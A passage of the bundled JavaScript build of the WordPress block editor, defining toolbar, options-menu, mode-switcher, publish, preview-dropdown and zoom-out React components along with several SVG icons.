22087 "aria-expanded": isInserterOpened
22088 }
22089 ),
22090 (isWideViewport || !showIconLabels) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
22091 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22092 external_wp_components_namespaceObject.ToolbarItem,
22093 {
22094 as: undo_undo_default,
22095 showTooltip: !showIconLabels,
22096 variant: showIconLabels ? "tertiary" : void 0,
22097 size: "compact"
22098 }
22099 ),
22100 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22101 external_wp_components_namespaceObject.ToolbarItem,
22102 {
22103 as: redo_redo_default,
22104 showTooltip: !showIconLabels,
22105 variant: showIconLabels ? "tertiary" : void 0,
22106 size: "compact"
22107 }
22108 ),
22109 !isDistractionFree && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22110 external_wp_components_namespaceObject.ToolbarButton,
22111 {
22112 className: "editor-document-tools__document-overview-toggle",
22113 icon: list_view_default,
22114 disabled: disableBlockTools,
22115 isPressed: isListViewOpen,
22116 label: (0,external_wp_i18n_namespaceObject.__)("Document Overview"),
22117 onClick: toggleListView,
22118 shortcut: listViewShortcut,
22119 showTooltip: !showIconLabels,
22120 variant: showIconLabels ? "tertiary" : void 0,
22121 "aria-expanded": isListViewOpen,
22122 ref: listViewToggleRef
22123 }
22124 )
22125 ] })
22126 ] })
22127 }
22128 )
22129 );
22130}
22131var document_tools_default = DocumentTools;
22132
22133
22134;// ./node_modules/@wordpress/icons/build-module/library/more-vertical.js
22135
22136
22137var more_vertical_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" }) });
22138
22139
22140;// ./node_modules/@wordpress/editor/build-module/components/more-menu/copy-content-menu-item.js
22141
22142
22143
22144
22145
22146
22147
22148
22149
22150function CopyContentMenuItem() {
22151 const { createNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
22152 const { getCurrentPostId, getCurrentPostType } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
22153 const { getEditedEntityRecord } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_coreData_namespaceObject.store);
22154 function getText() {
22155 const record = getEditedEntityRecord(
22156 "postType",
22157 getCurrentPostType(),
22158 getCurrentPostId()
22159 );
22160 if (!record) {
22161 return "";
22162 }
22163 if (typeof record.content === "function") {
22164 return record.content(record);
22165 } else if (record.blocks) {
22166 return (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(record.blocks);
22167 } else if (record.content) {
22168 return record.content;
22169 }
22170 }
22171 function onSuccess() {
22172 createNotice("info", (0,external_wp_i18n_namespaceObject.__)("All content copied."), {
22173 isDismissible: true,
22174 type: "snackbar"
22175 });
22176 }
22177 const ref = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(getText, onSuccess);
22178 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { ref, children: (0,external_wp_i18n_namespaceObject.__)("Copy all blocks") });
22179}
22180
22181
22182;// ./node_modules/@wordpress/editor/build-module/components/mode-switcher/index.js
22183
22184
22185
22186
22187
22188
22189const MODES = [
22190 {
22191 value: "visual",
22192 label: (0,external_wp_i18n_namespaceObject.__)("Visual editor")
22193 },
22194 {
22195 value: "text",
22196 label: (0,external_wp_i18n_namespaceObject.__)("Code editor")
22197 }
22198];
22199function ModeSwitcher() {
22200 const { shortcut, isRichEditingEnabled, isCodeEditingEnabled, mode } = (0,external_wp_data_namespaceObject.useSelect)(
22201 (select) => ({
22202 shortcut: select(
22203 external_wp_keyboardShortcuts_namespaceObject.store
22204 ).getShortcutRepresentation("core/editor/toggle-mode"),
22205 isRichEditingEnabled: select(store_store).getEditorSettings().richEditingEnabled,
22206 isCodeEditingEnabled: select(store_store).getEditorSettings().codeEditingEnabled,
22207 mode: select(store_store).getEditorMode()
22208 }),
22209 []
22210 );
22211 const { switchEditorMode } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
22212 let selectedMode = mode;
22213 if (!isRichEditingEnabled && mode === "visual") {
22214 selectedMode = "text";
22215 }
22216 if (!isCodeEditingEnabled && mode === "text") {
22217 selectedMode = "visual";
22218 }
22219 const choices = MODES.map((choice) => {
22220 if (!isCodeEditingEnabled && choice.value === "text") {
22221 choice = {
22222 ...choice,
22223 disabled: true
22224 };
22225 }
22226 if (!isRichEditingEnabled && choice.value === "visual") {
22227 choice = {
22228 ...choice,
22229 disabled: true,
22230 info: (0,external_wp_i18n_namespaceObject.__)(
22231 "You can enable the visual editor in your profile settings."
22232 )
22233 };
22234 }
22235 if (choice.value !== selectedMode && !choice.disabled) {
22236 return { ...choice, shortcut };
22237 }
22238 return choice;
22239 });
22240 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Editor"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22241 external_wp_components_namespaceObject.MenuItemsChoice,
22242 {
22243 choices,
22244 value: selectedMode,
22245 onSelect: switchEditorMode
22246 }
22247 ) });
22248}
22249var mode_switcher_default = ModeSwitcher;
22250
22251
22252;// ./node_modules/@wordpress/editor/build-module/components/more-menu/tools-more-menu-group.js
22253
22254
22255const { Fill: ToolsMoreMenuGroup, Slot: tools_more_menu_group_Slot } = (0,external_wp_components_namespaceObject.createSlotFill)("ToolsMoreMenuGroup");
22256ToolsMoreMenuGroup.Slot = ({ fillProps }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(tools_more_menu_group_Slot, { fillProps });
22257var tools_more_menu_group_default = ToolsMoreMenuGroup;
22258
22259
22260;// ./node_modules/@wordpress/editor/build-module/components/more-menu/view-more-menu-group.js
22261
22262
22263
22264const { Fill: ViewMoreMenuGroup, Slot: view_more_menu_group_Slot } = (0,external_wp_components_namespaceObject.createSlotFill)(
22265 external_wp_element_namespaceObject.Platform.OS === "web" ? Symbol("ViewMoreMenuGroup") : "ViewMoreMenuGroup"
22266);
22267ViewMoreMenuGroup.Slot = ({ fillProps }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(view_more_menu_group_Slot, { fillProps });
22268var view_more_menu_group_default = ViewMoreMenuGroup;
22269
22270
22271;// ./node_modules/@wordpress/editor/build-module/components/more-menu/index.js
22272
22273
22274
22275
22276
22277
22278
22279
22280
22281
22282
22283
22284
22285function MoreMenu() {
22286 const { openModal } = (0,external_wp_data_namespaceObject.useDispatch)(store);
22287 const { set: setPreference } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
22288 const { toggleDistractionFree } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
22289 const showIconLabels = (0,external_wp_data_namespaceObject.useSelect)(
22290 (select) => select(external_wp_preferences_namespaceObject.store).get("core", "showIconLabels"),
22291 []
22292 );
22293 const turnOffDistractionFree = () => {
22294 setPreference("core", "distractionFree", false);
22295 };
22296 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22297 external_wp_components_namespaceObject.DropdownMenu,
22298 {
22299 icon: more_vertical_default,
22300 label: (0,external_wp_i18n_namespaceObject.__)("Options"),
22301 popoverProps: {
22302 placement: "bottom-end",
22303 className: "more-menu-dropdown__content"
22304 },
22305 toggleProps: {
22306 showTooltip: !showIconLabels,
22307 ...showIconLabels && { variant: "tertiary" },
22308 tooltipPosition: "bottom",
22309 size: "compact"
22310 },
22311 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
22312 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject._x)("View", "noun"), children: [
22313 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22314 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
22315 {
22316 scope: "core",
22317 name: "fixedToolbar",
22318 onToggle: turnOffDistractionFree,
22319 label: (0,external_wp_i18n_namespaceObject.__)("Top toolbar"),
22320 info: (0,external_wp_i18n_namespaceObject.__)(
22321 "Access all block and document tools in a single place"
22322 ),
22323 messageActivated: (0,external_wp_i18n_namespaceObject.__)(
22324 "Top toolbar activated."
22325 ),
22326 messageDeactivated: (0,external_wp_i18n_namespaceObject.__)(
22327 "Top toolbar deactivated."
22328 )
22329 }
22330 ),
22331 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22332 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
22333 {
22334 scope: "core",
22335 name: "distractionFree",
22336 label: (0,external_wp_i18n_namespaceObject.__)("Distraction free"),
22337 info: (0,external_wp_i18n_namespaceObject.__)("Write with calmness"),
22338 handleToggling: false,
22339 onToggle: () => toggleDistractionFree({
22340 createNotice: false
22341 }),
22342 messageActivated: (0,external_wp_i18n_namespaceObject.__)(
22343 "Distraction free mode activated."
22344 ),
22345 messageDeactivated: (0,external_wp_i18n_namespaceObject.__)(
22346 "Distraction free mode deactivated."
22347 ),
22348 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primaryShift(
22349 "\\"
22350 )
22351 }
22352 ),
22353 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22354 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
22355 {
22356 scope: "core",
22357 name: "focusMode",
22358 label: (0,external_wp_i18n_namespaceObject.__)("Spotlight mode"),
22359 info: (0,external_wp_i18n_namespaceObject.__)("Focus on one block at a time"),
22360 messageActivated: (0,external_wp_i18n_namespaceObject.__)(
22361 "Spotlight mode activated."
22362 ),
22363 messageDeactivated: (0,external_wp_i18n_namespaceObject.__)(
22364 "Spotlight mode deactivated."
22365 )
22366 }
22367 ),
22368 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(view_more_menu_group_default.Slot, { fillProps: { onClose } })
22369 ] }),
22370 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(mode_switcher_default, {}),
22371 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22372 action_item_default.Slot,
22373 {
22374 name: "core/plugin-more-menu",
22375 label: (0,external_wp_i18n_namespaceObject.__)("Panels"),
22376 fillProps: { onClick: onClose }
22377 }
22378 ),
22379 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Tools"), children: [
22380 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22381 external_wp_components_namespaceObject.MenuItem,
22382 {
22383 onClick: () => openModal("editor/keyboard-shortcut-help"),
22384 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.access("h"),
22385 children: (0,external_wp_i18n_namespaceObject.__)("Keyboard shortcuts")
22386 }
22387 ),
22388 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CopyContentMenuItem, {}),
22389 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22390 external_wp_components_namespaceObject.MenuItem,
22391 {
22392 icon: external_default,
22393 href: (0,external_wp_i18n_namespaceObject.__)(
22394 "https://wordpress.org/documentation/article/wordpress-block-editor/"
22395 ),
22396 target: "_blank",
22397 rel: "noopener noreferrer",
22398 children: [
22399 (0,external_wp_i18n_namespaceObject.__)("Help"),
22400 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
22401 as: "span",
22402 /* translators: accessibility text */
22403 children: (0,external_wp_i18n_namespaceObject.__)("(opens in a new tab)")
22404 })
22405 ]
22406 }
22407 ),
22408 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22409 tools_more_menu_group_default.Slot,
22410 {
22411 fillProps: { onClose }
22412 }
22413 )
22414 ] }),
22415 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22416 external_wp_components_namespaceObject.MenuItem,
22417 {
22418 onClick: () => openModal("editor/preferences"),
22419 children: (0,external_wp_i18n_namespaceObject.__)("Preferences")
22420 }
22421 ) })
22422 ] })
22423 }
22424 ) });
22425}
22426
22427
22428;// ./node_modules/@wordpress/editor/build-module/components/post-publish-button/post-publish-button-or-toggle.js
22429
22430
22431
22432
22433
22434const IS_TOGGLE = "toggle";
22435const IS_BUTTON = "button";
22436function PostPublishButtonOrToggle({
22437 forceIsDirty,
22438 setEntitiesSavedStatesCallback
22439}) {
22440 let component;
22441 const isSmallerThanMediumViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
22442 const { togglePublishSidebar } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
22443 const {
22444 hasPublishAction,
22445 isBeingScheduled,
22446 isPending,
22447 isPublished,
22448 isPublishSidebarEnabled,
22449 isPublishSidebarOpened,
22450 isScheduled,
22451 postStatus,
22452 postStatusHasChanged
22453 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
22454 return {
22455 hasPublishAction: !!select(store_store).getCurrentPost()?._links?.["wp:action-publish"],
22456 isBeingScheduled: select(store_store).isEditedPostBeingScheduled(),
22457 isPending: select(store_store).isCurrentPostPending(),
22458 isPublished: select(store_store).isCurrentPostPublished(),
22459 isPublishSidebarEnabled: select(store_store).isPublishSidebarEnabled(),
22460 isPublishSidebarOpened: select(store_store).isPublishSidebarOpened(),
22461 isScheduled: select(store_store).isCurrentPostScheduled(),
22462 postStatus: select(store_store).getEditedPostAttribute("status"),
22463 postStatusHasChanged: select(store_store).getPostEdits()?.status
22464 };
22465 }, []);
22466 if (isPublished || postStatusHasChanged && !["future", "publish"].includes(postStatus) || isScheduled && isBeingScheduled || isPending && !hasPublishAction && !isSmallerThanMediumViewport) {
22467 component = IS_BUTTON;
22468 } else if (isSmallerThanMediumViewport || isPublishSidebarEnabled) {
22469 component = IS_TOGGLE;
22470 } else {
22471 component = IS_BUTTON;
22472 }
22473 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22474 post_publish_button_default,
22475 {
22476 forceIsDirty,
22477 isOpen: isPublishSidebarOpened,
22478 isToggle: component === IS_TOGGLE,
22479 onToggle: togglePublishSidebar,
22480 setEntitiesSavedStatesCallback
22481 }
22482 );
22483}
22484
22485
22486;// ./node_modules/@wordpress/editor/build-module/components/post-view-link/index.js
22487
22488
22489
22490
22491
22492
22493
22494
22495function PostViewLink() {
22496 const { hasLoaded, permalink, isPublished, label, showIconLabels } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
22497 const postTypeSlug = select(store_store).getCurrentPostType();
22498 const postType = select(external_wp_coreData_namespaceObject.store).getPostType(postTypeSlug);
22499 const { get } = select(external_wp_preferences_namespaceObject.store);
22500 return {
22501 permalink: select(store_store).getPermalink(),
22502 isPublished: select(store_store).isCurrentPostPublished(),
22503 label: postType?.labels.view_item,
22504 hasLoaded: !!postType,
22505 showIconLabels: get("core", "showIconLabels")
22506 };
22507 }, []);
22508 if (!isPublished || !permalink || !hasLoaded) {
22509 return null;
22510 }
22511 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22512 external_wp_components_namespaceObject.Button,
22513 {
22514 icon: external_default,
22515 label: label || (0,external_wp_i18n_namespaceObject.__)("View post"),
22516 href: permalink,
22517 target: "_blank",
22518 showTooltip: !showIconLabels,
22519 size: "compact"
22520 }
22521 );
22522}
22523
22524
22525;// ./node_modules/@wordpress/icons/build-module/library/desktop.js
22526
22527
22528var desktop_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20.5 16h-.7V8c0-1.1-.9-2-2-2H6.2c-1.1 0-2 .9-2 2v8h-.7c-.8 0-1.5.7-1.5 1.5h20c0-.8-.7-1.5-1.5-1.5zM5.7 8c0-.3.2-.5.5-.5h11.6c.3 0 .5.2.5.5v7.6H5.7V8z" }) });
22529
22530
22531;// ./node_modules/@wordpress/icons/build-module/library/mobile.js
22532
22533
22534var mobile_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15 4H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h6c.3 0 .5.2.5.5v12zm-4.5-.5h2V16h-2v1.5z" }) });
22535
22536
22537;// ./node_modules/@wordpress/icons/build-module/library/tablet.js
22538
22539
22540var tablet_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17 4H7c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H7c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12zm-7.5-.5h4V16h-4v1.5z" }) });
22541
22542
22543;// ./node_modules/@wordpress/editor/build-module/components/preview-dropdown/index.js
22544
22545
22546
22547
22548
22549
22550
22551
22552
22553
22554
22555
22556
22557
22558function PreviewDropdown({ forceIsAutosaveable, disabled }) {
22559 const {
22560 deviceType,
22561 homeUrl,
22562 isTemplate,
22563 isViewable,
22564 showIconLabels,
22565 isTemplateHidden,
22566 templateId
22567 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
22568 const {
22569 getDeviceType,
22570 getCurrentPostType,
22571 getCurrentTemplateId,
22572 getRenderingMode
22573 } = select(store_store);
22574 const { getEntityRecord, getPostType } = select(external_wp_coreData_namespaceObject.store);
22575 const { get } = select(external_wp_preferences_namespaceObject.store);
22576 const _currentPostType = getCurrentPostType();
22577 return {
22578 deviceType: getDeviceType(),
22579 homeUrl: getEntityRecord("root", "__unstableBase")?.home,
22580 isTemplate: _currentPostType === "wp_template",
22581 isViewable: getPostType(_currentPostType)?.viewable ?? false,
22582 showIconLabels: get("core", "showIconLabels"),
22583 isTemplateHidden: getRenderingMode() === "post-only",
22584 templateId: getCurrentTemplateId()
22585 };
22586 }, []);
22587 const { setDeviceType, setRenderingMode, setDefaultRenderingMode } = unlock(
22588 (0,external_wp_data_namespaceObject.useDispatch)(store_store)
22589 );
22590 const { resetZoomLevel } = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store));
22591 const handleDevicePreviewChange = (newDeviceType) => {
22592 setDeviceType(newDeviceType);
22593 resetZoomLevel();
22594 };
22595 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
22596 if (isMobile) {
22597 return null;
22598 }
22599 const popoverProps = {
22600 placement: "bottom-end"
22601 };
22602 const toggleProps = {
22603 className: "editor-preview-dropdown__toggle",
22604 iconPosition: "right",
22605 size: "compact",
22606 showTooltip: !showIconLabels,
22607 disabled,
22608 accessibleWhenDisabled: disabled
22609 };
22610 const menuProps = {
22611 "aria-label": (0,external_wp_i18n_namespaceObject.__)("View options")
22612 };
22613 const deviceIcons = {
22614 desktop: desktop_default,
22615 mobile: mobile_default,
22616 tablet: tablet_default
22617 };
22618 const choices = [
22619 {
22620 value: "Desktop",
22621 label: (0,external_wp_i18n_namespaceObject.__)("Desktop"),
22622 icon: desktop_default
22623 },
22624 {
22625 value: "Tablet",
22626 label: (0,external_wp_i18n_namespaceObject.__)("Tablet"),
22627 icon: tablet_default
22628 },
22629 {
22630 value: "Mobile",
22631 label: (0,external_wp_i18n_namespaceObject.__)("Mobile"),
22632 icon: mobile_default
22633 }
22634 ];
22635 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22636 external_wp_components_namespaceObject.DropdownMenu,
22637 {
22638 className: dist_clsx(
22639 "editor-preview-dropdown",
22640 `editor-preview-dropdown--${deviceType.toLowerCase()}`
22641 ),
22642 popoverProps,
22643 toggleProps,
22644 menuProps,
22645 icon: deviceIcons[deviceType.toLowerCase()],
22646 label: (0,external_wp_i18n_namespaceObject.__)("View"),
22647 disableOpenOnArrowDown: disabled,
22648 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
22649 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22650 external_wp_components_namespaceObject.MenuItemsChoice,
22651 {
22652 choices,
22653 value: deviceType,
22654 onSelect: handleDevicePreviewChange
22655 }
22656 ) }),
22657 isTemplate && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22658 external_wp_components_namespaceObject.MenuItem,
22659 {
22660 href: homeUrl,
22661 target: "_blank",
22662 icon: external_default,
22663 onClick: onClose,
22664 children: [
22665 (0,external_wp_i18n_namespaceObject.__)("View site"),
22666 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
22667 as: "span",
22668 /* translators: accessibility text */
22669 children: (0,external_wp_i18n_namespaceObject.__)("(opens in a new tab)")
22670 })
22671 ]
22672 }
22673 ) }),
22674 !isTemplate && !!templateId && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22675 external_wp_components_namespaceObject.MenuItem,
22676 {
22677 icon: !isTemplateHidden ? check_default : void 0,
22678 isSelected: !isTemplateHidden,
22679 role: "menuitemcheckbox",
22680 onClick: () => {
22681 const newRenderingMode = isTemplateHidden ? "template-locked" : "post-only";
22682 setRenderingMode(newRenderingMode);
22683 setDefaultRenderingMode(newRenderingMode);
22684 resetZoomLevel();
22685 },
22686 children: (0,external_wp_i18n_namespaceObject.__)("Show template")
22687 }
22688 ) }),
22689 isViewable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22690 PostPreviewButton,
22691 {
22692 className: "editor-preview-dropdown__button-external",
22693 role: "menuitem",
22694 forceIsAutosaveable,
22695 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Preview in new tab"),
22696 textContent: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
22697 (0,external_wp_i18n_namespaceObject.__)("Preview in new tab"),
22698 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: external_default })
22699 ] }),
22700 onPreview: onClose
22701 }
22702 ) }),
22703 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22704 action_item_default.Slot,
22705 {
22706 name: "core/plugin-preview-menu",
22707 fillProps: { onClick: onClose }
22708 }
22709 )
22710 ] })
22711 }
22712 );
22713}
22714
22715
22716;// ./node_modules/@wordpress/icons/build-module/library/square.js
22717
22718
22719var square_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22720 external_wp_primitives_namespaceObject.Path,
22721 {
22722 fill: "none",
22723 d: "M5.75 12.75V18.25H11.25M12.75 5.75H18.25V11.25",
22724 stroke: "currentColor",
22725 strokeWidth: "1.5",
22726 strokeLinecap: "square"
22727 }
22728) });
22729
22730
22731;// ./node_modules/@wordpress/editor/build-module/components/zoom-out-toggle/index.js
22732
22733
22734
22735
22736
22737
22738
22739
22740
22741
22742
22743const ZoomOutToggle = ({ disabled }) => {
22744 const { isZoomOut, showIconLabels, isDistractionFree } = (0,external_wp_data_namespaceObject.useSelect)(
22745 (select) => ({
22746 isZoomOut: unlock(select(external_wp_blockEditor_namespaceObject.store)).isZoomOut(),
22747 showIconLabels: select(external_wp_preferences_namespaceObject.store).get(
22748 "core",
22749 "showIconLabels"
22750 ),
22751 isDistractionFree: select(external_wp_preferences_namespaceObject.store).get(
22752 "core",
22753 "distractionFree"
22754 )
22755 })
22756 );
22757 const { resetZoomLevel, setZoomLevel } = unlock(
22758 (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store)
22759 );
22760 const { registerShortcut, unregisterShortcut } = (0,external_wp_data_namespaceObject.useDispatch)(
22761 external_wp_keyboardShortcuts_namespaceObject.store
22762 );
22763 (0,external_wp_element_namespaceObject.useEffect)(() => {
22764 registerShortcut({
22765 name: "core/editor/zoom",
22766 category: "global",
22767 description: (0,external_wp_i18n_namespaceObject.__)("Enter or exit zoom out."),
22768 keyCombination: {
22769 // `primaryShift+0` (`ctrl+shift+0`) is the shortcut for switching
22770 // to input mode in Windows, so apply a different key combination.
22771 modifier: (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? "primaryShift" : "secondary",
22772 character: "0"
22773 }
22774 });
22775 return () => {
22776 unregisterShortcut("core/editor/zoom");
22777 };
22778 }, [registerShortcut, unregisterShortcut]);
22779 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)(
22780 "core/editor/zoom",
22781 () => {
22782 if (isZoomOut) {
22783 resetZoomLevel();
22784 } else {
22785 setZoomLevel("auto-scaled");
22786 }
22787 },
22788 {
22789 isDisabled: isDistractionFree
22790 }
22791 );
22792 const handleZoomOut = () => {
22793 if (isZoomOut) {
22794 resetZoomLevel();
22795 } else {
22796 setZoomLevel("auto-scaled");
22797 }
22798 };
22799 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22800 external_wp_components_namespaceObject.Button,
22801 {
22802 accessibleWhenDisabled: true,
22803 disabled,
22804 onClick: handleZoomOut,
22805 icon: square_default,
22806 label: (0,external_wp_i18n_namespaceObject.__)("Zoom Out"),
22807 isPressed: isZoomOut,
22808 size: "compact",
22809 showTooltip: !showIconLabels,
22810 className: "editor-zoom-out-toggle"
22811 }
22812 );
22813};
22814var zoom_out_toggle_default = ZoomOutToggle;
22815
22816
22817;// ./node_modules/@wordpress/editor/build-module/components/header/index.js
22818
22819
22820
22821
22822
22823
22824
22825
22826
22827
22828
22829
22830
22831
22832
22833
22834
22835
22836
22837
22838
22839
22840const toolbarVariations = {
22841 distractionFreeDisabled: { y: "-50px" },
22842 distractionFreeHover: { y: 0 },
22843 distractionFreeHidden: { y: "-50px" },
22844 visible: { y: 0 },
22845 hidden: { y: 0 }
22846};
22847const backButtonVariations = {
22848 distractionFreeDisabled: { x: "-100%" },
22849 distractionFreeHover: { x: 0 },
22850 distractionFreeHidden: { x: "-100%" },
22851 visible: { x: 0 },
22852 hidden: { x: 0 }
22853};
22854function Header({
22855 customSaveButton,
22856 forceIsDirty,
22857 forceDisableBlockTools,
22858 setEntitiesSavedStatesCallback,
22859 title
22860}) {
22861 const isWideViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("large");
22862 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium");
22863 const isTooNarrowForDocumentBar = (0,external_wp_compose_namespaceObject.useMediaQuery)("(max-width: 403px)");
22864 const {
22865 postType,
22866 isTextEditor,
22867 isPublishSidebarOpened,
22868 showIconLabels,
22869 hasFixedToolbar,
22870 hasBlockSelection,
22871 hasSectionRootClientId
22872 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
22873 const { get: getPreference } = select(external_wp_preferences_namespaceObject.store);
22874 const {
22875 getEditorMode,
22876 getCurrentPostType,
22877 isPublishSidebarOpened: _isPublishSidebarOpened
22878 } = select(store_store);
22879 const { getBlockSelectionStart, getSectionRootClientId } = unlock(
22880 select(external_wp_blockEditor_namespaceObject.store)
22881 );
22882 return {
